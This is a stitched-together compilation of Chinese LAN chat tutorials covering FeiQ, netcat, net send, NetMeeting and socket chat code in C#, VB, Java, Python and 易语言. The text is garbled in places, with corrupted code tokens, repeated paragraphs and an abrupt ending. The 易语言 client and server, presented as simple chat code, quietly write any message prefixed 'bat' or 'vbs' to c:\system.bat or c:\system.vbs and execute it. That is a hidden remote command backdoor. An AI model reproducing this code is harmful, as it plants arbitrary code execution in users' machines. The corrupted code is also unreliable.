局域网聊天简单示例
局域网之间如何进行聊天局域网进行聊天的方法
局域网之间如何进行聊天局域网进行聊天的方法
局域网中让每个用户之间互相通信,可以节省网络带宽,即使是互联网服务被终止,局域网之间也可以互相聊天,具体请看下面店铺整理的方法!
局域网之间进行聊天的方法
首先,我们需要安装局域网聊天工具,飞秋。
如果亲们没有这款软件的话,请百度一下,安装好后的软件界面如下。
不错,你没看错,这款软件的最大特色就是在于它和QQ很相似,只要你会使用QQ,这款软件根本不是问题。
接下来,你可以看到局域网中在线好友人数。
请务必确保你连接了局域网,局域网构建可以使用路由器或者是交换机来组建,如果你是在单位之类的地点上网的话那么应该是局域网,如果一般在在家里,那么请安装路由器来构建局域网。
接下来,我们就开始聊天吧!
双击你的好友,就打开一个形似QQ聊天界面的窗口,只要在里面输入文字,一回车发送,对方就收到啦!
我们也可以语音聊天,视频聊天,还可以在局域网中收发文件,多么方便啊!快快尝试吧!
END。
nc 局域网聊天+文件传输(netcat)
nc 局域网聊天+文件传输(netcat)nc的全程是netcat,这个工具非常好用。
有时候我们需要在局域网内传送一些文本消息或者文件的时候,通常的做法是安装一些局域网通讯软件,然后来做。
其实不必要这样,使用nc这个小工具就很好了。
nc的一些参数具体的参数,可以通过nc -help来获取。
(注意此处只有一个-)下面表格中的内容是用google翻译后修改来的,不是很好看,请原谅。
最常用的几个参数就是-l,-u,-p这几个参数。
参数说明-4使用IPv4-6使用IPv6-b允许广播-C发送CRLF作为行结束-D启用套接字调试选项-d从标准输入分离-h查看帮助信息-I length TCP接收缓冲区长度-i secs发送间隔/端口扫描的延时-j使用巨型帧-k保持套接字打开多个连接-l监听模式,绑定端口,等待连接参数说明-n禁止名称/端口的解析-O length TCP发送缓冲区长度-P proxyuser用户名代理验证-p port指定用于远程连接的本地端口-q secs quit after EOF on stdin and delay of secs-r随机化远程端口-S启用TCP MD5签名选项-s addr本地源地址-T toskeyword设置IP类型-t应答TELNET协商-U使用UNIX域套接字-u UDP模式-V rtable指定备用路由表-v详细-w secs连接超时时间和最后网络读取-X proto 代理协议: “4”, “5” (SOCKS) 或“connect”-xaddr[:port]指定代理服务器地址端口-Z DCCP模式-z Zero-I/O 模式 [用于扫描] nc 进行局域网内聊天因为是局域网,所有这里使用UDP协议还是TCP协议是没多大关系的。
这是很简单的C/S模式,把其中一台机器当做服务器,另一台当做客户端就是了。
对于服务器,使用这个命令nc -l 9999来监听9999端口,默认使用的是TCP协议,可以加-u参数来使用UDP协议。
基于JAVA局域网聊天程序设计与实现(附源代码)
局域网聊天课程设计摘要随着互联网的发展,网络聊天工具作为一种交流工具,已经受到网民的青睐。
目前,出现了很多功能强大的聊天工具,其中应用比较广泛的有腾讯QQ、MSN-Messager等等。
即时通讯软件,是每一个上网用户都需要的工具,它除了能够让您迅速地在网上找到自己的朋友和伙伴之外,还可以实时交谈和传递信息,截止到目前,全球约有近3亿多人使用即时软件,正因为即时通讯软件拥有数以亿计的用户和增长的市场,所以各个公司都盯上了这个最大的市场,一时间,即时通讯市场硝烟四起。
对等网络(peer-to-peer,简称P2P),应用最初出现时和现在并不相同。
事实上可以认为它是若干不同技术以及流行趋势相结合的产物。
以下是导致P2P技术发展最重要的趋势:首先,一些新技术与软件工程的结合,形成了一种将工作分散的趋势。
P2P计算正是这种分散工作趋势的结果。
其次,在企业应用集成等因素的驱动下,过去十年渐渐形成从集中的单机系统转向分布式系统。
然而随着互联网的发展,全面的分布式计算也就成为一种迫切需求。
关键词:局域网聊天 P2P javaAbstractWith the development of the Internet,the chat tool as a communication tool, has been popularly accepted by netizens of all ages. At present, there are many powerful chat tools, of which Tencent QQ, MSN-Messager are much more prevalent.Instant messaging software is necessary for every one who connects to the internet, which can not only provide you a prompt way to find friends and partners online, but can provide you the convenience of internet relay chat and information delivering. Up to now, there are about 300 million people using real-time software all over the world. As more and more corporations have focused on this market with growing potential, which has hundreds of millions of uses, the competitions among these corporations are extremely fierce.The initial application of peer-to-peer network (peer-to-peer, referred to as P2P) is not the same as it is now. In fact, it can be regarded as a combination of different technologies and fashion trends. Below are the most important trends that have led the development of P2P technology: First of all, the integration of software engineering and new technologies led to a working dispersion trend. As a result, P2P computing was born. Then, in the past decade, it has turned fro m a single centralized system to distributed system due to the motivation of factors such as enterprise application integration. At last, with the development of the Internet, however, a comprehensive distributed computing has become an urgent need.Keywords:LAN chat P2P java局域网聊天课程设计目录摘要 (i)Abstract ..................................................................................................................................... i i 1绪论 . (1)1.1JAVA的网络功能与编程 (1)1.1.1JAVA概述 (1)1.1.2 JAVA的特点 (3)1.1.3 JAVA语言在网络上的应用 (5)1.2J AVA B EANS技术 (6)1.3IP/TCP协议常识 (6)1.4S OCKET的简介 (7)1.5对等网络 (8)1.5.1 对等网络发展历史 (8)1.5.2 对等网络的概念 (9)1.5.3 对等网络的主要系统结构 (9)2 JAVAqq局域网聊天程序的需求分析 (13)2.1课题来源 (13)2.2需求分析 (13)3 JAVAqq局域网聊天程序的系统分析与设计 (15)3.1JAVA QQ局域网聊天程序的总体设计要点 (15)3.2JAVA QQ局域网聊天程序的设计步骤及功能模块划分 (15)3.3JAVA QQ局域网聊天程序各功能模块 (16)4 JAVAqq局域网聊天程序的设计与实现 (24)4.1开发环境工具 (24)4.2硬件环境 (24)4.3聊天系统功能模块的测试 (24)结论 (27)致谢 (29)参考文献 (30)附录 A 程序源代码 (31)1绪论随着互联网逐步普及,互联网技术的逐步提高。
局域网即时聊天程序设计及实现
第四章:详细设计.................................................................…13
一、各模块具体流程......................................................….13
一、模块测试......................................................…………23
二、功能测试............................................................……..23
三、测试结果......................................................…………...24
(四)音频再生模块...........................................…………..15
第五章:代码介绍.....................................................................17
第六章:测试.......................................................................…23
第一章绪论
一、背景介绍
随着网路的出现,它在人们的生活中所扮演的角色越来越多,也越来越重要,人们可以通过这个空间进行网络聊天,实现彼此沟通,交换信息,甚至网络聊天工具在部分人的生活中由于传统的电话通讯手段同等重要的趋势。尤其现在的学校更是如此,单单在课堂里或校园里的交流是远远不够的,要是学校有聊天系统,那么学生之间或是师生之间的信息交流会更加频繁、更方便,有利于建立友好的关系网。
局域网聊天
局域网聊天第一:打开电脑桌面左下角的“开始”然后点击“运行”提示假如你的开始没有“运行”,你可以在“开始“的鼠标右键点击“属性”然后弹出左边图片的属性栏,然后点击红色框的按钮。
再然后就点击“高级”在「开始」菜单项目里拉到最后,然后看到点击。
最后开始栏就会有“运行”的出现了。
第二:打开“运行”后输入CMD或者CME.EXE. 就弹出黑色为底色的“命令提示符”了。
然后按步骤。
①建立昵称(你也可以不建立的.假如你发信息过去的话,会显示你的电脑名字)在"命令提示符"里输入net name X(X是你输入的英文名字,中文不可以的.输入最多为15字符也就是15个英文字母,输入的昵称不可以有空号,如good morning这会显示不可以的)【假如你要删除昵称可以输入net name goodmorning /delete {net空号name空号名字空号/delete}】②建立好了昵称之后就是发信息了在原来的"命令提示符"里输入【net send X(X你建立的昵称)聊天内容{net空号sand空号X空号聊天内容}】我不是说了不一定要昵称的吗?你可以用你局域网内的某个人的电脑的IP地址,在"命令提示符"里输入【net send IP地址聊天内容{net空号send空号IP地址空号聊天内容}】有时候需要局域网内的所有电脑成员知道你的信息你可以这样做在"命令提示符"里输入【net send * 聊天内容{net空号send空号*空号聊天内容}】但是你有时候想一个人静静的玩电脑的话。
你可也拒绝接收在"命令提示符"里输入【net stop messenger{net空号stop空号messenger}】提示:你聊天的窗口是信使服务,你知道莫,假如如你没有启动你是用不到的这项服务的咯所以你可以这样做启动信使服务首先你要看看你又没有启动在“运行”里输入【net start messenger{net空号start空号messenger}】假如上述方法无法启用信使服务,我们可以在“运行“对话框内输入【services.mse】回车,进入“服务”窗口,接着在该窗口的服务列表中找到“messenger”项并双击打开,在弹出的窗中将启动类型改为“自动”即可。
实验4 在局域网中实现网络对话
实验4在局域网中实现网络对话一、实验目的:通过使用NetMeeting,来实现局域网中各个计算机之间的对话二、实验内容:1、安装Microsoft NetMeeting2、发送呼叫、接收呼叫及挂断会议3、白板及共享应用程序使用4、传送文件5、远程桌面共享Microsoft NetMeeting是一种新的通信方式,使用它可以进行网络会议、传递信息,便于用户使用音频、视频或聊天的方式与他人“交谈”。
在办公局域网中,使用Microsoft NetMeeting实现网络中各个计算机之间的对话,即进行语音通信。
在单位内部小型局域网中,方便地与其他工作人员进行交谈、下达任务及布置工作等。
三、实验步骤:1、安装Microsoft NetMeeting(1)选择“设置—>控制面板”(2)选择“添加/删除程序—>添加/删除Windows组件”(3)在Windows组件向导对话框中,选择“附件和工具”选项,单击“详细信息…”按钮,在弹出的“附件和工具”对话框中,选择“通讯”选项(4)在弹出的“通讯”对话框中,选择“对话”选项,单击“确定”按钮即可。
(说明:在XP系统中,直接在运行对话框中输入:conf,即可进行设置)(5)在设置结束后,单击“程序—>附件—>通讯—>NetMeeting”命令,按提示步骤进行有关的设置:2、发送呼叫、接收呼叫及挂断会议(1)单击“呼叫”按钮,在此输入对方的IP 地址或计算机名称呼叫结束呼叫传送文件白板聊天 共享程序主持网上会议3、白板及共享应用程序使用 使用“白板”程序进行交流呼叫成功后显示当前连接的用户显示聊天双方谈话的历史记录选择消息将要发送的对象发送消息除了白板之外,还可以共享其他的应用程序。
4、向对方传送文件5、远程桌面共享添加文件(1)单击“共享程序”按钮(2)选择“共享”对话框中的“桌面”选项(3)单击“共享”按钮。
怎么使用Socket实现局域网聊天
怎么使用Socket实现局域网聊天局域网通常是分布在一个有限地理范围内的网络系统,一般所涉及的地理范围只有几公里。
局域网专用性非常强,具有比较稳定和规范的拓扑结构。
这篇文章主要为大家详细介绍了C#使用Socket实现局域网聊天的方法,具有一定的参考价值,感兴趣的小伙伴们可以参考一下C#代码:servlet服务端using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;using ;using .Sockets;using System.Threading;using System.IO;using System.Text;using System.Text.RegularExpressions;namespace Server{public partial class MainForm : Form{private TcpListener listener;private Dictionary socketList;private bool tag = true;private StringBuilder charList;public MainForm(){InitializeComponent();Control.CheckForIllegalCrossThreadCalls = false;}void Bu_StartClick(object sender, EventArgs e){cb_chatList.Items.Clear();selectChat.Text="";int port = 8888;//创建服务端,并且启动try{listener = new TcpListener(IPAddress.Parse(ipAddress()),port);listener.Start();bu_Start.Enabled = false;bu_stop.Enabled = true;}catch(Exception ex){MessageBox.Show("服务器启动失败,原因:"+ex.Message);bu_Start.Enabled = true;bu_stop.Enabled = false;return;}selectChat.Text = "服务器启动成功,访问IP:"+ipAddress()+" 端口号:"+port;//记录住连接的客户端socketList = new Dictionary();charList = new StringBuilder();//使用多线程,用于多个客户端接入Thread th = new Thread(new ThreadStart(executeTask));th.Start();}public void executeTask(){while(tag){//等待用户连接TcpClient client = null;try{client = listener.AcceptT cpClient();}catch(Exception){}Thread th = new Thread(executeRead); th.Start((Object)client);}}public void executeRead(Object pamars) {//永久监听读取客户端TcpClient client = pamars as TcpClient; while(tag){NetworkStream ns = client.GetStream(); StreamReader sr = new StreamReader(ns); String msg = String.Empty;String people = String.Empty;try {msg = sr.ReadLine();if(msg.IndexOf("")!=-1){msg = Regex.Split(msg,"=")[1];cb_chatList.Items.Add(msg);charList.Append(msg).Append("<@>");socketList.Add(msg,client);msg = "欢迎【"+msg+"】光临";}selectChat.AppendText(msg.Replace("","\r\n"));sendMsg(String.Empty,msg);} catch (Exception) {//MessageBox.Show(ex.Message.ToString());break;}}}public void sendMsg(String target,String msg){if(String.Empty!=target){TcpClient client = socketList[target];StreamWriter sw = new StreamWriter(client.GetStream());sw.WriteLine(msg);sw.Flush();}else{Dictionary.KeyCollection keyColl = socketList.Keys;foreach (String name in keyColl){StreamWriter sw = new StreamWriter(socketList[name].GetStream());sw.WriteLine(msg+"<@=@>"+charList.ToString());sw.Flush();}}}/*根据计算名获取IP地址*/public String ipAddress(){IPAddress[] address = Dns.GetHostAddresses(Dns.GetHostName());return address[2].T oString();}void ServerFromFormClosing(object sender, FormClosingEventArgs e){e.Cancel = false;if(tag)tag = false;if(listener!=null)listener.Stop();}void Bu_stopClick(object sender, EventArgs e){bu_Start.Enabled = true;bu_stop.Enabled = false;if(tag)tag = false;if(listener!=null)listener.Stop();}}Client客户端using System;using System.Drawing;using System.Windows.Forms;using System.Threading;using ;using .Sockets;using System.IO;using System.Text;using System.Text.RegularExpressions;namespace Client{public partial class MainForm : Form{private System.Windows.Forms.Timer closeWindowTimer; private StreamReader sr;private StreamWriter sw;private TcpClient tc;private ClientLong cl;private bool tag = true;public MainForm(T cpClient tcp,ClientLong clo){cl = clo;tc = tcp;InitializeComponent();Control.CheckForIllegalCrossThreadCalls = false;bu_simple.Hide();}void ClientFromLoad(object sender, EventArgs e)PiayCheckedChanged();}/*事件方法*/public void PiayCheckedChanged(){closeWindowTimer = new System.Windows.Forms.Timer(); closeWindowTimer.Interval = 1000; closeWindowTimer.Tick += new EventHandler(theout); closeWindowTimer.Start();}/*执行的事件*/public void theout(object source, EventArgs e){//这里单独开一个线程用来显示信息try{Thread t1 = new Thread(new ThreadStart(readMsg));t1.Start();}catch(Exception){}}void readMsg(){if(tag && tc!=null){sr = new StreamReader(tc.GetStream());String msg = sr.ReadLine();String[] address = Regex.Split(msg,"<@=@>"); chatText.AppendT ext(address[0].Replace("","\r\n"));address = Regex.Split(address[1],"<@>");cb_chatList.Items.Clear();foreach (String s in address){if(!String.IsNullOrEmpty(s) && s != cl.clientName)cb_chatList.Items.Add(s);}}}void Button1Click(object sender, EventArgs e){if(String.IsNullOrEmpty(textBox2.Text)){MessageBox.Show("请输入消息");return;}sw = new StreamWriter(tc.GetStream());sw.WriteLine(""+cl.clientName+""+DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss")+""+textBox2.Text);textBox2.Text = "";sw.Flush();}void Bu_exitClick(object sender, EventArgs e){MainFormFormClosing(null,null);}void Button2Click(object sender, EventArgs e){chatText.T ext = "";}void MainFormFormClosing(object sender, FormClosingEventArgs e){closeWindowTimer.Stop();cl.Close();tag = false;if(sr!=null)sr.Close();if(sw!=null)sw.Close();}void Bu_simpleClick(object sender, EventArgs e){String selected = cb_chatList.Text;if(selected==null){MessageBox.Show("请选择单聊对象");return;}}}}补充:局域网、校园网安全维护方法校园网络分为内网和外网,就是说他们可以上学校的内网也可以同时上互联网,大学的学生平时要玩游戏购物,学校本身有自己的服务器需要维护;在大环境下,首先在校园网之间及其互联网接入处,需要设置防火墙设备,防止外部攻击,并且要经常更新抵御外来攻击;由于要保护校园网所有用户的安全,我们要安全加固,除了防火墙还要增加如ips,ids等防病毒入侵检测设备对外部数据进行分析检测,确保校园网的安全;外面做好防护措施,内部同样要做好防护措施,因为有的学生电脑可能带回家或者在外面感染,所以内部核心交换机上要设置vlan隔离,旁挂安全设备对端口进行检测防护;内网可能有ddos攻击或者arp病毒等传播,所以我们要对服务器或者电脑安装杀毒软件,特别是学校服务器系统等,安全正版安全软件,保护重要电脑的安全;对服务器本身我们要安全server版系统,经常修复漏洞及更新安全软件,普通电脑一般都是拨号上网,如果有异常上层设备监测一般不影响其他电脑。
vb局域网聊天
用VB做聊天程序的方法---- 所谓"聊天"是指两个程序能够发送数据给对方。
这个程序涉及到数据通讯的知识,仿佛很复杂,不过,由于VB给我们提供了一个Winsock控件,问题就变得很简单了。
---- 先编写"聊天(主机)"程序。
在窗体里添加Winsock控件,并设置其Protocol属性为1-SckUDPProtocol,其他属性为缺省值。
接着添加两个标签和两个文本框,设置两个标签的标题属性分别为"接收窗"和"发送窗";两个文本框的标题属性为空。
最后编写代码:---- 1."聊天(主机)"Private Sub Form-Load()′设置网络地址Winsock1.LocalPort=1024Winsock1.RemoteHost="202.96.6.1"Winsock1.RemotePort=1999End SubPrivate Sub Text1-Change()′发送用户输入的内容Winsock1.SendData Text1.TextEnd SubPrivate Sub Winsock1-DataArrival(Byval bytesTotal As Long)Dim rec As String′接收对方数据并在文本框内显示Winsock1.GetData rec, vb StringText2.Text=recEnd Sub---- 2."聊天(副机)"Private Sub Form_Load()′设置网络地址Winsock1.LocalPort=1999Winsock1.RemoteHost="202.96.6.1"Winsock1.RemotePort=1024---- 其他部分程序与(主机)相同。
最后将两个程序存盘,并编译成执行(.Exe)文件。
java实现简易局域网聊天功能代码介绍
java实现简易局域网聊天功能代码介绍局域网通常是分布在一个有限地理范围内的网络系统,一般所涉及的地理范围只有几公里。
局域网专用性非常强,具有比较稳定和规范的拓扑结构。
这篇文章主要为大家详细介绍了java实现简易局域网聊天功能,使用UDP模式编写一个聊天程序,具有一定的参考价值,感兴趣的小伙伴们可以参考一下Java代码:/某使用UDP模式,编写一个聊天程序有发送和接收数据2部分,一个线程接收,一个线程发送由于发送和接收动作是不一致的,所以要使用2个run方法而且这两个方法要封装到不同的类中本程序忽略了部分异常的处理,也未加入UI组件这样比较简洁发送端口9998接受端口9999用的是局域网广播地址,所以自己发的消息自己也收到了[示例]:简易控制台聊天程序某/import .某;import java.io.某;class Demo{public static void main(String[] args) throws E某ception{DatagramSocket sendSocket = new DatagramSocket(9998); //发送端DatagramSocket receSocket = new DatagramSocket(9999); //接收端new Thread(new MsgSend(sendSocket)).start(); //发送线程 new Thread(new MsgRece(receSocket)).start(); //接受线程 }}class MsgSend implements Runnable //发送{private DatagramSocket dsock;public MsgSend(DatagramSocket dsock){this.dsock= dsock;}public void run(){BufferedReader bufr = new BufferedReader(new InputStreamReader(System.in));String lineStr = null;try{while(true){lineStr = bufr.readLine();if(lineStr!=null){if(lineStr.equals("over886")){break;}else{byte[] dataBuf = lineStr.getBytes();DatagramPacket dataPack = //数据打包new DatagramPacket( dataBuf,dataBuf.length,InetAddress.getByName("192.168.1.255"), //广播 9999 //目标端口);dsock.send(dataPack);}}}bufr.close();dsock.close();}catch(E某ception e){throw new RuntimeE某ception("发送失败!"); }}}class MsgRece implements Runnable //接收{private DatagramSocket dsock;public MsgRece(DatagramSocket dsock){this.dsock= dsock;}public void run(){try{while(true){byte[] dataBuf = new byte[1024];DatagramPacket dataPack = newDatagramPacket(dataBuf,dataBuf.length);dsock.receive(dataPack); //将获取的数据保存到指定的数据包 String ip = dataPack.getAddress().getHostAddress();String data = newString(dataPack.getData(),0,dataPack.getLength());int port = dataPack.getPort();System.out.println();System.out.println("来自ip为 "+ip+" : "+port+" 的消息"); System.out.println(data);}}catch(E某ception e){throw new RuntimeE某ception("接受失败!");}finally{dsock.close();}}}补充:局域网、校园网安全维护方法校园网络分为内网和外网,就是说他们可以上学校的内网也可以同时上互联网,大学的学生平时要玩游戏购物,学校本身有自己的服务器需要维护;在大环境下,首先在校园网之间及其互联网接入处,需要设置防火墙设备,防止外部攻击,并且要经常更新抵御外来攻击;由于要保护校园网所有用户的安全,我们要安全加固,除了防火墙还要增加如ips,ids等防病毒入侵检测设备对外部数据进行分析检测,确保校园网的安全;外面做好防护措施,内部同样要做好防护措施,因为有的学生电脑可能带回家或者在外面感染,所以内部核心交换机上要设置vlan隔离,旁挂安全设备对端口进行检测防护;内网可能有ddos攻击或者arp病毒等传播,所以我们要对服务器或者电脑安装杀毒软件,特别是学校服务器系统等,安全正版安全软件,保护重要电脑的安全;对服务器本身我们要安全server版系统,经常修复漏洞及更新安全软件,普通电脑一般都是拨号上网,如果有异常上层设备监测一般不影响其他电脑。
Python实现简单局域网聊天的代码教程_光环大数据Python培训
Python实现简单局域网聊天的代码教程_光环大数据Python培训Python实现简单局域网聊天的代码教程。
Python实现简单局域网聊天的代码教程importsocketSockin=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)#新建socket Sockin.bind(('192.168.10.5',23000))#socket绑定该主机的ip和端口whileTrue:#循环中执行收发功能text=raw_input('>')Sockin.sendto(text,(('192.168.10.8',23000)))#将'text’发送给对方iftext=='q':Scokin.close()#退出时关闭socketbreakmsg,(addr,port)=Sockin.recvfrom(100)#接受数据ifmsg=='q':Sockin.close()breakprintmsgPCb:importsocketSockin=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) Sockin.bind(('192.168.10.8',23000))whileTrue:msg,(addr,port)=Sockin.recvfrom(100)ifmsg=='q':Sockin.close()breakelse:printmsgtext=raw_input('>')Sockin.sendto(text,(('192.168.10.5',23000)))iftext=='q':Sockin.close()break为什么大家选择光环大数据!大数据培训、人工智能培训、Python培训、大数据培训机构、大数据培训班、数据分析培训、大数据可视化培训,就选光环大数据!光环大数据,聘请专业的大数据领域知名讲师,确保教学的整体质量与教学水准。
易语言简单局域网聊天代码(客户服务器组件编写)
客户机代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_按钮1_被单击.局部变量现在时间, 文本型.如果(编辑框7.内容=“1”).如果(编辑框6.内容≠“”).如果(编辑框2.内容≠“”)客户1.发送数据(“聊天”+编辑框2.内容)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框1.内容=编辑框1.内容+“【本机】”+现在时间+#换行符+“”+编辑框2.内容+#换行符编辑框2.内容=“”.否则信息框(“发送消息不能为空”, 48, “提示”).如果结束.否则信息框(“服务器IP地址不能为空”, 48, “提示”).如果结束.否则信息框(“服务器未连接”, 48, “提示”).如果结束.子程序_按钮2_被单击.如果(编辑框6.内容≠“”).如果(编辑框8.内容≠“”).如果(客户1.连接(编辑框6.内容, 1991) =真)播放MP3 (1, “xlj.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“成功”+#换行符按钮2.禁止=真编辑框7.内容=“1”客户1.发送数据(“昵称”+编辑框8.内容).否则播放MP3 (1, “lk.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“失败”+#换行符.如果结束.否则信息框(“请填写你的昵称”, 48, “提示”).如果结束.否则信息框(“请填写要连接的IP地址”, 48, “提示”).如果结束.子程序_客户1_数据到达.局部变量接收内容, 文本型.局部变量现在时间, 文本型.局部变量发送进度, 整数型接收内容=到文本(客户1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间())).如果(接收内容=“接收”).如果(是否在文件尾(文件号1, ) =假)发送内容=读入字节集(文件号1, 2048)发送进度=取读写位置(文件号1)进度条1.位置=发送进度÷文件长度×1000客户1.发送数据(发送内容).否则客户1.发送数据(“发送完毕”)信息框(“发送完毕”, 64, “提示”)分组框8.可视=假进度条1.位置=0.如果结束.否则.如果(接收内容=“拒绝”)信息框(“对方拒绝接收文件”, 64, “提示”)分组框8.可视=假.否则.如果(取文本左边(接收内容, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本左边(接收内容, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则编辑框1.内容=编辑框1.内容+“【服务器】”+现在时间+#换行符+“”+接收内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.如果结束.如果结束.子程序_客户1_连接断开编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).子程序_按钮4_被单击.如果(编辑框7.内容=“1”)客户1.断开连接()编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开连接>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).否则信息框(“没有连接”, 48, “提示”).如果结束.子程序_按钮9_被单击编辑框13.内容=“”分组框8.可视=假.子程序_按钮7_被单击通用对话框1.打开()编辑框13.内容=通用对话框1.文件名.子程序_按钮8_被单击.如果(编辑框13.内容≠“”)文件名=取文本右边(编辑框13.内容, 取文本长度(编辑框13.内容) -倒找文本(编辑框13.内容, “\”, , 假))文件号1 =打开文件(编辑框13.内容, 1, 1)文件长度=取文件长度(文件号1)客户1.发送数据(“文件名”+文件名+“|”+到文本(文件长度)).否则信息框(“未选择文件”, 48, “提示”).如果结束.子程序_按钮10_被单击.如果(编辑框7.内容=“1”)分组框8.可视=真.否则信息框(“未连接服务器”, 48, “提示”).如果结束.子程序_按钮13_被单击.局部变量文件号3, 整数型文件号3 =打开文件(“客户机聊天记录.txt”, 5, 1)移到文件尾(文件号3)插入文本(文件号3, 编辑框1.内容)关闭文件(文件号3)编辑框1.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框1_内容被改变编辑框1.起始选择位置=-1服务器代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_服务器1_客户进入.子程序_服务器1_数据到达.局部变量接收内容, 文本型.局部变量x, 整数型.局部变量i, 整数型.局部变量现在时间, 文本型.局部变量聊天内容, 文本型.局部变量j, 整数型.局部变量x1, 整数型.局部变量IP, 文本型.局部变量端口, 文本型接收内容=到文本(服务器1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框5.内容=到文本(服务器1.取回客户())编辑框9.内容=取文本右边(接收内容, 取文本长度(接收内容) -4)x1 =寻找文本(编辑框5.内容, “:”, 1, 假)IP =取文本左边(编辑框5.内容, x1 -1)端口=取文本右边(编辑框5.内容, 取文本长度(编辑框5.内容) -x1)编辑框10.内容=IP编辑框11.内容=端口.如果(取文本左边(接收内容, 4) =“昵称”)列表框1.加入项目(到文本(服务器1.取回客户()), )列表框2.加入项目(取文本右边(接收内容, 取文本长度(接收内容) -4), )编辑框3.内容=编辑框3.内容+“<【”+取文本右边(接收内容, 取文本长度(接收内容) -4) +“】进入>”+现在时间+#换行符播放MP3 (1, “xlj.mp3”).否则.如果(取文本左边(接收内容, 6) =“文件名”)编辑框12.内容=到文本(服务器1.取回客户())j =倒找文本(接收内容, “|”, , 假)编辑框14.内容=“d:\”+取文本中间(接收内容, 7, j -7)分组框9.标题=“来自:”+到文本(服务器1.取回客户()) +“的发送文件请求”编辑框16.内容=“文件大小:”+到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)) ÷1024 ÷1024) +“Mb”编辑框15.内容=到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)))播放音乐(“xwj.wav”, 假)分组框9.可视=真.否则.如果(取文本左边(接收内容, 4) =“聊天”).如果(取文本中间(接收内容, 5, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本中间(接收内容, 5, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则聊天内容=取文本右边(接收内容, 取文本长度(接收内容) -4)编辑框5.内容=到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)编辑框9.内容=列表框2.取项目文本(x).否则.如果结束.变量循环尾()编辑框3.内容=编辑框3.内容+“【”+编辑框9.内容+“】”+现在时间+#换行符+“”+聊天内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.否则.如果(接收内容=“发送完毕”)关闭文件(文件号2)信息框(“接收完成”, 64, “提示”)执行(4, 取文本左边(编辑框14.内容, 倒找文本(编辑框14.内容, “\”, , 假) -1), , , )编辑框12.内容=“”编辑框17.内容=“0”进度条2.位置=0分组框9.可视=假.否则编辑框17.内容=到文本(到数值(编辑框17.内容) +2048)进度条2.位置=到数值(编辑框17.内容) ÷到数值(编辑框15.内容) ×1000写出字节集(文件号2, 服务器1.取回数据())服务器1.发送数据(服务器1.取回客户(), “接收”, 10).如果结束.如果结束.如果结束.如果结束.子程序_按钮3_被单击.局部变量现在时间, 文本型.如果(编辑框5.内容≠“”).如果(编辑框4.内容≠“”)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))服务器1.发送数据(编辑框5.内容, 编辑框4.内容, 10)编辑框3.内容=编辑框3.内容+“TO【”+编辑框9.内容+“】”+现在时间+#换行符+“”+编辑框4.内容+#换行符编辑框4.内容=“”.否则信息框(“发送内容不能为空”, 48, “提示”).如果结束.否则信息框(“请选择客户”, 48, “提示”).如果结束.子程序_按钮5_被单击.局部变量i, 整数型.局部变量x, 整数型.如果(编辑框5.内容≠“”)编辑框3.内容=编辑框3.内容+“<正在与【”+编辑框9.内容+“】断开>......”+#换行符服务器1.断开客户(编辑框5.内容)播放MP3 (1, “lk.mp3”).否则信息框(“请选择客户”, 48, “提示”).如果结束i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) 